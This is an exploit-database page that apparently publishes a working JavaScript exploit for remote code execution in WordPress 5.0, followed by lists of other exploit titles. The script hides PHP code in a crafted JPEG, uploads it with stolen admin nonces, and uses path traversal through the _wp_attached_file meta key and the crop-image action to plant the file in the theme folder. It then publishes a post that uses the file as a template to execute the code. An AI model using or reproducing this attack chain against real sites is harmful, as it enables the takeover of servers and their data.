Menu

Search for hundreds of thousands of exploits

"WordPress Core 5.0 - Remote Code Execution"

Author

Exploit author

allyshka

Platform

Exploit platform

php

Release date

Exploit published date

2019-03-01

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
var attachurl = '/wp-admin/media-new.php';
var uploadurl = '/wp-admin/async-upload.php';
var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
var editposturl = '/wp-admin/post.php';
var addposturl = '/wp-admin/post-new.php';
var cropurl = '/wp-admin/admin-ajax.php';
console.log("Get wpnonce token.");
jQuery.get(attachurl, function(data) {
    wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
    if(wpnonce) {
        console.log("Success! wpnonce: " + wpnonce);
        var postdata = new FormData();
        postdata.append('name', 'ebaldremal.jpg');
        postdata.append('post_id', post_id);
        postdata.append('_wpnonce', wpnonce);
        postdata.append('short', 1);
        // file
        var phpimage = new File([byteArray], 'ebaldremal.jpg');
        postdata.append('async-upload', phpimage);
        console.log("Upload image with shell.");
        jQuery.ajax({
            url: uploadurl,
            data: postdata,
            cache: false,
            contentType: false,
            processData: false,
            method: 'POST',
            success: function(data){
                if(jQuery.isNumeric(data)) {
                    post_id = data;
                    console.log("Success! Attach ID: " + post_id);
                    console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
                    jQuery.get(editattachurl.replace('PID', post_id), function(data) {
                        var btnid = "#imgedit-open-btn-" + post_id;
                        wpnonce = jQuery(data).find('#post #_wpnonce').val();
                        ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
                        imgurl = new URL(jQuery(data).find('#attachment_url').val());
                        wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
                        console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
                        if(wpnonce && ajaxnonce) {
                            console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
                            postdata = {
                                '_wpnonce': wpnonce,
                                'action': 'editpost',
                                'post_ID': post_id,
                                'meta_input[_wp_attached_file]': wp_attached_file
                            }
                            jQuery.post(editposturl, postdata, function(data){
                                console.log("Success!");
                                console.log("Crop image for create help folder.");
                                postajaxdata = {
                                    '_ajax_nonce': ajaxnonce,
                                    'action': 'crop-image',
                                    'id': post_id,
                                    'cropDetails[width]': 1,
                                    'cropDetails[height]': 1
                                }
                                jQuery.post(cropurl, postajaxdata, function(data){
                                    console.log("Success! Help directory created.");
                                    wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
                                    console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
                                    postdata = {
                                        '_wpnonce': wpnonce,
                                        'action': 'editpost',
                                        'post_ID': post_id,
                                        'meta_input[_wp_attached_file]': wp_attached_file
                                    }
                                    jQuery.post(editposturl, postdata, function(data){
                                        console.log("Success!");
                                        console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
                                        jQuery.post(cropurl, postajaxdata, function(data){
                                            console.log("Success!");
                                            console.log("Get wpnonce for create new post.");
                                            jQuery.get(addposturl, function(data){
                                                console.log("Create new post and use evil jpg image as template.");
                                                if(jQuery(data).find('form.metabox-base-form').length) {
                                                    wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
                                                    post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
                                                } else {
                                                    wpnonce = jQuery(data).find('#post #_wpnonce').val();
                                                    post_id = jQuery(data).find('#post #post_ID').val();
                                                }
                                                postdata = {
                                                    '_wpnonce': wpnonce,
                                                    'action': 'editpost',
                                                    'post_ID': post_id,
                                                    'post_title': 'RCE-HERE',
                                                    'visibility': 'public',
                                                    'publish': 'Publish',
                                                    'meta_input[_wp_page_template]': 'cropped-owned.jpg'
                                                }
                                                jQuery.post(editposturl, postdata, function(data){
                                                    console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
                                                    console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
                                                    window.open(imgurl.origin + "/?p=" + post_id, '_blank');
                                                });
                                            });
                                        });
                                    });
                                });
                            });
                        }
                    });
                }
            }
        });
    }
});
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-10-25 "Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)" remote multiple allyshka
2019-03-01 "WordPress Core 5.0 - Remote Code Execution" webapps php allyshka
2018-12-12 "phpBB 3.2.3 - Remote Code Execution" webapps php allyshka
2018-03-28 "TeamCity < 9.0.2 - Disabled Registration Bypass" remote multiple allyshka
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.